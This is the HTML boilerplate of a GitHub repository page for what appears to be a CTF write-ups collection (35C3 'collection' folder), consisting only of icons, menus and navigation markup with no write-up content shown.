1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> VoidHack </span> <span>/</span> write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>15</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>52</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/VoidHack/write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":102298858,"originating_url":"https://github.com/VoidHack/write-ups/tree/master/35C3/collection","user_id":null}}" data-hydro-click-hmac="190b41c8c02956aba49aa98596bbea7f37989c4e40b481ac354a74b0ebfa15c0"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/VoidHack/write-ups/refs" cache-key="v0:1545133456.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Vm9pZEhhY2svd3JpdGUtdXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/VoidHack/write-ups/refs" cache-key="v0:1545133456.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Vm9pZEhhY2svd3JpdGUtdXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto 